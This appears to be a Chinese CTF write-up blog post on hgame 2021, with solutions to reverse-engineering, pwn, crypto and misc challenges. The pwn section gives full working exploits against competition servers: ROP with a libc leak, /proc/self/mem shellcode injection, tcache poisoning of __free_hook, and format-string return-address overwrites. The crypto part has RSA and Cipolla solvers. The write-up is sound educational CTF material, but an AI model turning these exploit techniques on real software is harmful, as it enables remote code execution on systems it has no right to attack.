Loading... ## RE ### fake_debugger beta 没搞懂,不同位置的不同字符对应的编码都不同,没什么思路,写了个脚本爆破了 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * #context(log_level = 'debug') total_char = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_=+|/?.>,<:;\"\'\\`~!@#$%^&*(){}[]' def test(flag_now): sh = remote("101.132.177.131",9999) payload = flag_now sh.sendlineafter("now!\n",payload) for i in range(2 * len(flag_now)): sh.sendlineafter("---\n",' ') sh.recvuntil('eax: ') code = int(sh.recvuntil("\n")) sh.close() return code def get_next(flag_now): sh = remote("101.132.177.131",9999) payload = flag_now + 'a' sh.sendlineafter("now!\n",payload) for i in range(2 * len(flag_now) + 2): sh.sendlineafter("---\n",' ') sh.recvuntil('ebx: ') code = int(sh.recvuntil("\n")) return code flag = 'hgame{You_Kn0w_debuG' while(flag[-1] != '}'): mapping = {} for charac in total_char: mapping[test(flag + charac)] = charac #print(str(test(charac)) + ':' + charac + '=>' + mapping[test(charac)]) flag += mapping[get_next(flag)] print flag print flag ``` 分了几次爆破,所以这个脚本的起点就几乎是 `flag` 了 ## pwn ### rop_primary 没什么难度,就是单纯的 ROP ```python #!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * import re elf = ELF("./rop_primary") pop_rdi_ret = 0x401613 pop_rsi_r15_ret = 0x401611 pop_r14_r15_ret = 0x401610 def matrixMul(A, B): if len(A[0]) == len(B): res = [[0] * len(B[0]) for i in range(len(A))] for i in range(len(A)): for j in range(len(B[0])): for k in range(len(B)): res[i][j] += int(A[i][k]) * int(B[k][j]) return res sh = remote("159.75.104.107",30372) sh.recvuntil("A:\n") matA = [] matB = [] while 1: number_string = sh.recvuntil("\n",drop = True) if(number_string == 'B:'): break matA.append(re.findall(r"\d+\.?\d*",number_string)) while 1: number_string = sh.recvuntil("\n",drop = True) if(number_string == 'a * b = ?'): break matB.append(re.findall(r"\d+\.?\d*",number_string)) matAns = matrixMul(matA,matB) print matAns for i in matAns: for j in i: sh.sendline(str(j)) sh.recvuntil("best\n") payload = 'a' * 0x30 + 'b' * 8 + p64(pop_rdi_ret) + p64(elf.got['puts']) + p64(elf.symbols["puts"]) + p64(0x40157B) sh.sendline(payload) leak_addr = u64(sh.recv(6).ljust(8,'\x00')) log.success("addr:" + hex(leak_addr)) libc = LibcSearcher('puts',leak_addr) libc_base = leak_addr - libc.dump("puts") log.success("libc_base:" + hex(libc_base)) system_addr = libc_base + libc.dump("system") bin_sh_addr = libc_base + libc.dump('str_bin_sh') payload = 'a' * 0x30 + 'b' * 8 + p64(pop_r14_r15_ret) + p64(0) * 2 payload += p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) sh.sendlineafter('best\n',payload) sh.interactive() ``` 写完exp打远程的时候发现搜不出来 libc,考虑是 libc-database 版本过低,然后尝试更新,但是 libc-database 本身是装 LibcSearcher 的时候一起装的,可能安装的时候有点问题,get 脚本用不来,所以只好整个 libc-database 删掉重装,重新 get,家里的带宽确实比较小,整个更新大概花了半个多小时,再加上更新的时候干别的事情去了差点把这题忘了,所以很晚才打通,但是运气还算不错,抢到了一血,只比二血早了30秒 ### the_shop_of_cosmos 这道题是真的开阔视野了,出的是真当炫酷。程序的逻辑很简单,有无限次读文件和无限次写文件的机会。其实看到题目我第一个就想到了对 `/proc` 目录动手,但是当时觉得不知道服务器跑的进程的 `uid` 也没有用。虽然终端里面有 `$UID` 可以代替,但是 `open` 里没法用,遂放弃,想想真的很遗憾,放出 `hint`之后我仔细看了一下这个目录的相关知识,了解到有`self` 这个目录,每个进程访问都可以访问到自己的对应 `uid` 的目录,同时也避免了 `frok` 之类操作对 `uid` 的改变这样的问题。而每个进程对应 `uid` 目录中都有一些该进程信息的虚拟文件,我们主要关系 `maps` 和 `mem`,前者存储了进程的内存映射情况,可以获得各种基地址;后者则是进程占有的整个内存空间的映射,这个文件是可读写的,`.text` 也同样可写。所以思路就有了,先通过一次读获取进程的基地址,然后通过一次写把一段会执行的 `.text` 中的代码直接写成 shellcode 就可以 getshell 了。 利用整型溢出可以获得无限的钱,这个应该不用多说了 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * context(arch = 'amd64',os = 'linux') elf = ELF("./shop") libc = ELF("./libc.so.6") sh = process("./shop") sh = remote("159.75.104.107",30398) sh.sendlineafter(">> ","1") sh.sendlineafter(">> ","4294867296") sh.sendlineafter(">> ",'2') sh.sendlineafter(">> ",'1') sh.sendlineafter(">> ",'/proc/self/maps') sh.recvuntil(":") prog_base = int(sh.recvuntil("-",drop = True),base = 16) log.success("prog_base:",prog_base) sh.sendlineafter(">> ",'3') sh.sendlineafter(">> ",'1') sh.sendlineafter(">> ",'/proc/self/mem') sh.sendlineafter(">> ",str(prog_base + 0x17EC)) shellcode = asm(shellcraft.sh()) sh.sendlineafter(">> ",str(len(shellcode))) sh.sendlineafter(">> ",shellcode) sh.interactive() ``` ### patriot’s note 这算是一个 `Tcache poisoning` 的裸题了吧,以前做题的时候一直没去研究 `Tcache` 相关的机制,这一次看了一下发现确实使利用变的简单了许多。`Tcache` 的优先级很高,高于 `Fastbin` 和 `top chunk` 的前向合并。 `Tcache` 和 `Fastbin` 其实挺像的,当然 `Tcache` 本身是一个单独维护的隔离链表,而 `Fastbin` 只是一个 LIFO 的单链表(换句话说就是用链表模拟的栈),这里来看的话区别还是很大的,但是在利用上有相似之处。就本题来看,存在 `UAF` ,可以对 `Tcache` 结构体的 `next` 指针任意写,这样就可以实现任意地址分配,从而实现任意地址写。和 `Fastbin` 的 `Arbitrary Alloc` 没什么区别,唯一的就是 `Tcache` 不会对被分配地址 `chunk` 的 `size` 标记做检测,所以我们甚至不需要伪造 `size` 就可以直接 `Arbitrary Alloc` 了。当然实现利用还需要一个 leak,可以申请并释放一个属于 `Unsorted Bin` 的 `chunk`(就本题而言,还需要避免这个 `chunk` 被 `top chunk` 合并掉),这样在 `bin`中的`chunk`的`fd`指针就会指向`main_arena`的一个固定偏移处,然后通过`puts` 功能就可以 leak 出 libc 的基地址了。 #### 关于 `main_arena` ##### `fd` 指向 `main_arena` 的固定偏移处的原因 随随便便地说 `fd` 必定会指向 `main_arena` 的一个固定偏移显得很苍白,原因还是解释一下,`main_arena` 是 `ptmalloc` 管理主分配区的唯一实例,其类型为 `struct malloc_state`,就 2.27 版本的 libc 来说是这样定义的 ```cpp struct malloc_state { /* Serialize access. */ __libc_lock_define (, mutex); /* Flags (formerly in max_fast). */ int flags; /* Set if the fastbin chunks contain recently inserted free blocks. */ /* Note this is a bool but not all targets support atomics on booleans. */ int have_fastchunks; /* Fastbins */ mfastbinptr fastbinsY[NFASTBINS]; /* Base of the topmost chunk -- not otherwise kept in a bin */ mchunkptr top; /* The remainder from the most recent split of a small request */ mchunkptr last_remainder; /* Normal bins packed as described above */ mchunkptr bins[NBINS * 2 - 2]; /* Bitmap of bins */ unsigned int binmap[BINMAPSIZE]; /* Linked list */ struct malloc_state *next; /* Linked list for free arenas. Access to this field is serialized by free_list_lock in arena.c. */ struct malloc_state *next_free; /* Number of threads attached to this arena. 0 if the arena is on the free list. Access to this field is serialized by free_list_lock in arena.c. */ INTERNAL_SIZE_T attached_threads; /* Memory allocated from the system in this arena. */ INTERNAL_SIZE_T system_mem; INTERNAL_SIZE_T max_system_mem; }; ``` 这里面的 `bins` 数组就保存了 `Unsorted Bin` 的头节点,由于 `Unsorted Bin` 用(循环)双向链表维护,那么链表中尾节点的 `fd` 就会指向头节点,也就是结构体的固定偏移处了(事实上 `bins[0]` 和 `bins[1]` 就是 `Unsorted Bin` 的头节点),本题我们只往 `Unsorted Bin` 中放一个 `bin`,所以第这个 `bin` 就是尾节点了。事实上还是有必要多啰嗦几句,`fd` 指向下一个节点,`bk` 指向前一个节点,如果 `Unsorted Bin` 链表中不止一个 `bin` 的话第一个 `bin` 的 `fd` 是不会像本题一样指向 `main_arena` 的,但是 `bk` 仍然可以 leak,在 64 位机下由于地址高2字节为 `\x00` 的原因往往难以 leak 出 `bk`,但是 32 位机下往往是可以的。也就是说一些情况下不一定需要 leak 链表尾,头也是可以的。 附一张调试图 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/3076927169.png "></div> 这样应该就很清楚了 ##### 如何获得 `main_arena` 的偏移 固定偏移具体是多少可以很容易地通过调试得出,也可以自己算,而 `main_arena` 相对于基地址的偏移稍微麻烦一点。把题目提供的 libc 放到 IDA 里面,找到 `malloc_trim()` 函数 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/2603976079.png "></div> `dword_3EBC40` 就是 `main_arena` 了。当然这样说他是就是显得很不负责任,凭啥说他是呢?还是要看一下 `malloc.c` 中的源码 ```cpp int __malloc_trim (size_t s) { int result = 0; if (__malloc_initialized < 0) ptmalloc_init (); mstate ar_ptr = &main_arena;//<=here! do { __libc_lock_lock (ar_ptr->mutex); result |= mtrim (ar_ptr, s); __libc_lock_unlock (ar_ptr->mutex); ar_ptr = ar_ptr->next; } while (ar_ptr != &main_arena); return result; } ``` 两个对照一下就明白了。按说 `main_arena` 在很多函数里面肯定都出现了,为什么独独找这个函数呢?我也不知道。大家都用这个找就这个吧。 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * #sh = process("./note") sh = remote("159.75.104.107",30369) libc = ELF("./libc-2.27.so") def take(size): sh.sendlineafter("exit\n",'1') sh.sendlineafter("write?\n",str(size)) def delete(index): sh.sendlineafter("exit\n",'2') sh.sendlineafter("delete?\n",str(index)) def edit(payload,index): sh.sendlineafter("exit\n",'3') sh.sendlineafter("edit?\n",str(index)) sh.send(payload) def show(index): sh.sendlineafter("exit\n",'4') sh.sendlineafter("show?\n",str(index)) take(2048)#index:0 take(0x100)#index:1 delete(0) show(0) libc_base = u64(sh.recv(6).ljust(8,'\x00')) - 0x3ebc40 - 96 log.success("libc_base:" + hex(libc_base)) delete(1) #malloc_hook = libc_base + libc.symbols["__malloc_hook"] free_hook = libc_base + libc.symbols["__free_hook"] #log.success("malloc_hook:" + hex(malloc_hook)) #edit(p64(malloc_hook - 0x10),1) edit(p64(free_hook),1) take(0x100)#index:2 take(0x100)#index:3 one_gadget = libc_base + 0x4f432 realloc = libc_base + libc.symbols["__libc_realloc"] #payload = p64(one_gadget) + p64(realloc + 0xa) payload = p64(one_gadget) edit(payload,3) #take(0x200) delete(0) sh.interactive() ``` 写 `malloc_hook` 的时候发现 `one_gadget` 都不能用,就改成 `free_hook` 了。 ### killerqueen 逻辑挺简单的,有两次格式化字符串攻击的机会,我选择第一次 leak,第二次改返回地址为 `one_gadget` getshell。其实刚开始的时候我是考虑通过格式占位符 `%200000c` 让 `printf` 输出大量字符,这样他就会调用 `malloc()`,那么就只有修改 `__malloc_hook` 或 `__free_hook` 为 `one_gadget` 就可以 `getshell` 了。但是由于 `one_gadget` 的限制不可行,就只好改返回地址了。 ```python #!/usr/bin/env python # coding=utf-8 from pwn import * from LibcSearcher import * #context(log_level = 'debug',os = 'linux',arch = 'amd64') context.terminal = ['tmux','splitw','-h'] for i in range(0x70,0x79):#0x10a41c -> i==0x70;0x4f432 -> i==0x48 try: #sh = process('./kq') sh = remote("159.75.104.107",30339) sh.sendlineafter("电话\n",'0') rand = int(sh.recvuntil(":",drop = True),base = 10) sh.sendlineafter("什么\n",'a') sh.send('\n') sh.sendlineafter("\n",str(-rand - 2)) payload = '%19$p-%17$p-%24$p-%44$p' sh.sendlineafter("是——\n",payload) sh.recvuntil('...\n') _IO_2_1_stdout_addr = int(sh.recvuntil("-",drop = True),base = 16) _IO_file_write_addr = int(sh.recvuntil("-",drop = True),base = 16) - 45 prog_base = int(sh.recvuntil("-",drop = True),base = 16) - 0x10b8 stack_addr = int(sh.recvuntil("\n",drop = True),base = 16) ret_addr = stack_addr - 0x28 - 0xE0 log.success('_IO_2_1_stdout_:' + hex(_IO_2_1_stdout_addr)) log.success('ret_addr:' + hex(ret_addr)) libc = LibcSearcher("_IO_2_1_stdout_",_IO_2_1_stdout_addr) libc.add_condition("_IO_file_write",_IO_file_write_addr) libc_base = _IO_2_1_stdout_addr - libc.dump("_IO_2_1_stdout_") log.success('libc_base:' + hex(libc_base)) log.success('_IO_file_write_addr:' + hex(_IO_file_write_addr)) log.success('_IO_file_write_addr_calc:' + hex(libc_base + libc.dump('_IO_file_write'))) malloc_hook = libc_base + libc.dump("__malloc_hook") one_gadget = libc_base + 0x10a41c #one_gadget = prog_base + 0x910 log.success('one:' + hex(one_gadget)) #payload = fmtstr_payload(6,{malloc_hook:one_gadget},numbwritten = 0,write_size = 'short') target_info = [[one_gadget & 0xFFFF,0],[(one_gadget >> 16) & 0xFFFF,2],[(one_gadget >> 32) & 0xFFFF,4]] target_info = sorted(target_info,key = (lambda x:x[0])) print target_info payload = '%15$lln' payload += '%' + str(target_info[0][0]) + 'c' + '%12$hn' payload += '%' + str(target_info[1][0] - target_info[0][0]) + 'c' + '%13$hn' payload += '%' + str(target_info[2][0] - target_info[1][0]) + 'c' + '%14$hn' payload = payload.ljust(48,'a') payload += p64(ret_addr + target_info[0][1]) payload += p64(ret_addr + target_info[1][1]) payload += p64(ret_addr + target_info[2][1]) payload += p64(ret_addr + i) payload = payload.ljust(0x100,'\x00') print payload #payload += '%150000cok' sh.sendafter("什么\n",payload) sh.recvuntil("a") log.success('one:' + hex(one_gadget)) #gdb.attach(proc.pidof(sh)[0]) sh.sendline("") sh.sendline("echo 'pwned'") sh.recvuntil("pwned") sh.interactive() break except: sh.close() ``` 麻烦还是有点麻烦的,调了不少时间。 ## Crypto ### signin 扩欧扩欧扩欧,头疼死了 `c` 的生成方式为`c = a ** p * m % p`,那么就是 $$ c = (a^p *m) \mod p $$ 稍微化简一下就是 $$ a*flag \equiv c \pmod p $$ 这个用扩欧就可以解掉了 `python` 随便抄一手 ```python import libnum a = 91800102844500997636793818421226295694813409817830489986833264638564136146943461411103817292401828996969369233967170793637678650849601387696384435842781413361986937383468183147837368716916336923130401758692466637339900841685124190941738003871183340798882867448829494255476406285790471594507528969176256426783 p = 140208111156456080600354739062343045536089117061048107161300830037553007780214441135312269792888390170833068116015297988457063303634427372811831533471300403210269143894289963232120754105029762436830871759622002703367278520094311613669797030109244450375247896616467172698874479881280112375643366820088374319151 c = 62669984905093476761116364147896749261246394704533378920607682538236231297338606898577411604795029080149360734264123808823106673707234674405503927459966218608821552490093818187535294751043077224591345844102800422939078248578001422406911409828355694332378238370530048125215690309230305439084596199405057273963 def fastExpMod(b, e, m): result = 1 while e != 0: if (e&1) == 1: # ei = 1, then mul result = (result * b) % m e >>= 1 # b, b^2, b^4, b^8, ... , b^(2^n) b = (b*b) % m return result def gcd(a,b): if(b == 0): return a else: return gcd(b,a % b) def exgcdRecursion(a,b): if b==0: x = 1 y = 0 return (a,x,y) r,x,y = exgcdRecursion(b,a%b) t = x x = y y = t- a // b * y return (a,x,y) a = fastExpMod(a,p,p) #print(a) #print(gcd(a,p)) flag = c * (exgcdRecursion(a,p)[1]) #print(flag) start_it = (-flag) // p + 1 for t in range(start_it,start_it + 1000): try: print(str(flag + t * p)) flag_str = libnum.n2s(flag + t * p) print(flag_str) if(flag_str[:6] == 'hgame{'): log.success('t:' + t) except: t=t ``` `python` 的实数除精度是有限的,需要用 `//` 当时不知道,用的 `/` ,导致一直都还原不出来,浪费不少时间。 ### gcd or more? `chiper` 的生成方式为 `cipher = pow(s2n(FLAG), 2, n)`,简单的化简一下就是 $$ flag^2 \equiv cipher \pmod n $$ 由于 $flag$ 一定存在,所以这是一个二次剩余问题 若$n$是奇素数,那么用 $Cipolla$ 算法可以在 $O(log_2 n)$ 的时间内解决掉。然而本题的 $n=pq$,$p$,$q$都是奇素数,所以可以先分解为二次同余方程组 $$ flag^2 \equiv cipher \pmod n \Rightarrow \begin{cases} flag_1^2 \equiv chiper \pmod p\\ flag_2^2 \equiv chiper \pmod q \end{cases} $$ 用 $Cipolla$ 算法解出两个方程组的解,每个方程组各有两个解 ``` (84812196578912497483199456102681113661036350274620044265283928278516249390960L, 416368442216404370115478480447969780952694950402497033266642170873590218059L) (33570896975793191313496233193196351806104943487094925756639556604941759642419L, 78043817665571719999419061286654197325730434558907498221349901238129429193852L) ``` 然后两组里一对一进行 $CRT$ 合并,可以得出四个解,其中就有某个可以还原出 `flag` ### $Cipolla$ ```python #Converts n to base b as a list of integers between 0 and b-1 #Most-significant digit on the left def convertToBase(n, b): if(n < 2): return [n] temp = n ans = [] while(temp != 0): ans = [temp % b]+ ans temp /= b return ans #Takes integer n and odd prime p #Returns both square roots of n modulo p as a pair (a,b) #Returns () if no root def cipolla(n,p): n %= p if(n == 0 or n == 1): return (n,-n%p) phi = p - 1 if(pow(n, phi/2, p) != 1): return () if(p%4 == 3): ans = pow(n,(p+1)/4,p) return (ans,-ans%p) aa = 0 for i in xrange(1,p): temp = pow((i*i-n)%p,phi/2,p) if(temp == phi): aa = i break; exponent = convertToBase((p+1)/2,2) def cipollaMult((a,b),(c,d),w,p): return ((a*c+b*d*w)%p,(a*d+b*c)%p) x1 = (aa,1) x2 = cipollaMult(x1,x1,aa*aa-n,p) for i in xrange(1,len(exponent)): if(exponent[i] == 0): x2 = cipollaMult(x2,x1,aa*aa-n,p) x1 = cipollaMult(x1,x1,aa*aa-n,p) else: x1 = cipollaMult(x1,x2,aa*aa-n,p) x2 = cipollaMult(x2,x2,aa*aa-n,p) return (x1[0],-x1[0]%p) n = long(input()) p = long(input()) print cipolla(n,p) ``` #### $exCRT$ ```python #!/usr/bin/env python # coding=utf-8 from functools import reduce def gcd(a, b): if b==0: return a return gcd(b, a%b) def lcm(a, b): return a * b // gcd(a,b) def exgcd(a, b): if b==0: return 1, 0 x, y = exgcd(b, a%b) return y, x - a//b*y def uni(P, Q): r1, m1 = P r2, m2 = Q d = gcd(m1, m2) assert (r2-r1) % d == 0 l1, l2 = exgcd(m1//d, m2//d) return (r1 + (r2-r1)//d*l1*m1) % lcm(m1, m2), lcm(m1, m2) def CRT(eq): return reduce(uni, eq) if __name__ == "__main__": n = int(input()) eq = [list(map(int, input().strip().split()))[::-1] for x in range(n)] print(CRT(eq)[0]) ``` 当然完全没有必要用 $exCRT$ 合并,毕竟$p$,$q$都是质数,但是有找到这个板子就免得我手打 $CRT$ 了。 最后合并出来并转成字符串就得到了 flag:`hgame{3xgCd~i5_re4l1y+e@sy^r1ght?}` ### WhitegiveRSA 给了公钥和密文,看 `N` 不甚大,随便找个网站分解一下得 ``` p = 1029224947942998075080348647219 q = 857504083339712752489993810777 ``` 然后就是要求 `d` 了,即求$d$令$ed \equiv 1 \ \pmod{r}$($r = pq$),这个一看就是个扩欧,曾经打过 OI,这个东西当时也是会写的,但是现在我看到算法就头疼,所以就随便找了个板子跑了一下 ```python # coding = utf-8 def computeD(fn, e): (x, y, r) = extendedGCD(fn, e) #y maybe < 0, so convert it if y < 0: return fn + y return y def extendedGCD(a, b): #a*xi + b*yi = ri if b == 0: return (1, 0, a) #a*x1 + b*y1 = a x1 = 1 y1 = 0 #a*x2 + b*y2 = b x2 = 0 y2 = 1 while b != 0: q = a / b #ri = r(i-2) % r(i-1) r = a % b a = b b = r #xi = x(i-2) - q*x(i-1) x = x1 - q*x2 x1 = x2 x2 = x #yi = y(i-2) - q*y(i-1) y = y1 - q*y2 y1 = y2 y2 = y return(x1, y1, a) p = 1029224947942998075080348647219 q = 857504083339712752489993810777 e = 65537 n = p * q fn = (p - 1) * (q - 1) d = computeD(fn, e) print(str(d)) ``` 解出 `d = 121832886702415731577073962957377780195510499965398469843281`,然后考虑解密,这个时候我发现了 `RSA Tool 2 by tE` 这个工具,意识到之前的工作白做了 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/83355765.png "></div> 直接获得flag ## MISC 感觉都是脑洞题,看来需要多玩玩解密游戏练练脑子 ### Tools 第一步用 `F5-steganography` 解密图片,密码为备注中的 `!LyJJ9bi&M7E72*JyD`,获得压缩包密码 `e@317S*p1A4bIYIs1M`,解压压缩包 第二步用 `Steghide` 解密,密码仍然在备注中,解密得 `u0!FO4JUhl5!L55%$&` 第三步用 `outguess`,这个东西好像只能自己编译安装,我在编译的时候爆了一堆 `warning`,但是好想还是可以用,得密码 `@UjXL93044V5zl2ZKI` 第四步用 `JPHS`,充满年代感的程序,获得密码 `xSRejK1^Z1Cp9M!z@H` 最后得到四张二维码碎片,合起来一扫,获得flag:`hgame{Taowa_is_N0T_g00d_but_T001s_is_Useful}` ### Telegraph:1601 6639 3459 3134 0892 拿到音频,听了一下,前面很正常,1分10秒左右开始出现电报的声音,2分30秒左右又有明显的噤声,猜测是频谱隐写,拖到AU中一看 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/2101795753.png"></div> 果然,写了一个大大的850Hz,一看1分10秒850Hz处 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/1822596688.png "></div> 的确有长短码,读出来是`-.-- --- ..- .-. ..-. .-.. .- --. .. ... ....- --. ----- ----- -.. ... ----- -. --. -... ..- - -. ----- - ....- --. ----- ----- -.. -- .- -. ----- ...-- ----. ...-- .---- ----- -.- ..`,随便找个网站翻译一下 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/2809300119.png "></div> 得 `YOURFLAGIS4G00DS0NGBUTN0T4G00DMAN039310KI`,所以flag为 `hgame{4G00DS0NGBUTN0T4G00DMAN039310KI}`,读错了许多次,眼睛都看花了。 ### Hallucigenia 这个奇怪的生物令人不适 看到 `png`,先 `stegsolve` 里面看一下,上周的题目是改高度,当时直接改过了,就没解出来,这次不用改高度,直接看就可以了 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/2282792523.png "></div> 二维码扫出来是 ``` gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk= ``` 看到等号,估计是 `base64`,解压一下发现是乱码,但是末尾有 `png` 的魔数,联想到题干的颠倒,估计这实际上是个 `png`,简单写个脚本逆一下 ```python #!/usr/bin/env python # coding=utf-8 import base64 s = 'gmBCrkRORUkAAAAA+jrgsWajaq0BeC3IQhCEIQhCKZw1MxTzSlNKnmJpivW9IHVPrTjvkkuI3sP7bWAEdIHWCbDsGsRkZ9IUJC9AhfZFbpqrmZBtI+ZvptWC/KCPrL0gFeRPOcI2WyqjndfUWlNj+dgWpe1qSTEcdurXzMRAc5EihsEflmIN8RzuguWq61JWRQpSI51/KHHT/6/ztPZJ33SSKbieTa1C5koONbLcf9aYmsVh7RW6p3SpASnUSb3JuSvpUBKxscbyBjiOpOTq8jcdRsx5/IndXw3VgJV6iO1+6jl4gjVpWouViO6ih9ZmybSPkhaqyNUxVXpV5cYU+Xx5sQTfKystDLipmqaMhxIcgvplLqF/LWZzIS5PvwbqOvrSlNHVEYchCEIQISICSZJijwu50rRQHDyUpaF0y///p6FEDCCDFsuW7YFoVEFEST0BAACLgLOrAAAAAggUAAAAtAAAAFJESEkNAAAAChoKDUdOUIk=' de = base64.b64decode(s) print de[::-1] ``` 然后获得一个png <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/1523295642.png"></div> 直接看看不懂,借助在线工具翻转(Google png 水平翻转 第一个) <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/449965173.png "></div> 获得flag ### DNS 这道题又是给了一个 `pcapng`,里面不断出现 `https://flag.hgame2021.cf/` 这个域名,考虑登进去看看,发现一直有弹窗,就把js禁用掉了,网站源码为 ``` <html> <head> </head> <body> <script> while(true){ alert("Flag is here but not here") } </script> <b>Do you know SPF?</b> </body> </html> ``` SPF是啥?谷歌一下有说是防晒霜的,估计和题目没关系,应该是**发件人策略框架**吧,引用Wiki: > **发件人策略框架**(英语:**Sender Policy Framework**;简称**SPF**; [RFC 4408](https://tools.ietf.org/html/rfc4408))是一套[电子邮件](https://zh.wikipedia.org/wiki/%E7%94%B5%E5%AD%90%E9%82%AE%E4%BB%B6 "电子邮件")认证机制,可以确认电子邮件确实是由网域授权的邮件服务器寄出,防止有人伪冒身份[网络钓鱼](https://zh.wikipedia.org/wiki/%E7%B6%B2%E7%B5%A1%E9%87%A3%E9%AD%9A "网络钓鱼")或寄出[垃圾电邮](https://zh.wikipedia.org/wiki/%E5%9E%83%E5%9C%BE%E9%9B%BB%E9%83%B5 "垃圾电邮")。SPF允许管理员设定一个[DNS](https://zh.wikipedia.org/wiki/%E5%9F%9F%E5%90%8D%E7%B3%BB%E7%BB%9F "域名系统") [TXT记录](https://zh.wikipedia.org/wiki/%E5%9F%9F%E5%90%8D%E6%9C%8D%E5%8B%99%E5%99%A8%E8%A8%98%E9%8C%84%E9%A1%9E%E5%9E%8B%E5%88%97%E8%A1%A8 "域名服务器记录类型列表")或[SPF记录](https://zh.wikipedia.org/wiki/%E5%9F%9F%E5%90%8D%E6%9C%8D%E5%8B%99%E5%99%A8%E8%A8%98%E9%8C%84%E9%A1%9E%E5%9E%8B%E5%88%97%E8%A1%A8)设定发送邮件服务器的IP范围,如有任何邮件并非从上述指明授权的IP地址寄出,则很可能该邮件并非确实由真正的寄件者寄出(邮件上声称的“寄件者”为假冒)。[[1]](https://zh.wikipedia.org/wiki/%E5%8F%91%E4%BB%B6%E4%BA%BA%E7%AD%96%E7%95%A5%E6%A1%86%E6%9E%B6#cite_note-1) 这个东西其实就是 DNS 服务器的一个记录,如果一个网站要向用户发送邮件,这个记录就可以证明该邮件是该网站管理员发送的。那么既然是存在 DNS 服务器里面的,我们就可以看一下。据说 `nslookup` 可以用,但是我好像不会,顺着[这个网站](http://www.5dmail.net/html/2013-12-23/20131223112341.htm)找到了[这个网站](https://www.kitterman.com/spf/validate.html)(二者都充满年代感),最后 flag 就藏在记录里 <div style="text-align:center"><img src="https://www.cjovi.icu/usr/uploads/2021/02/3229590950.png "></div> 最后修改:2021 年 02 月 25 日 11 : 20 AM © 允许规范转载 赞赏 如果觉得我的文章对你有用,那听听上面我喜欢的歌吧 ×Close 赞赏作者 扫一扫支付 支付宝支付 微信支付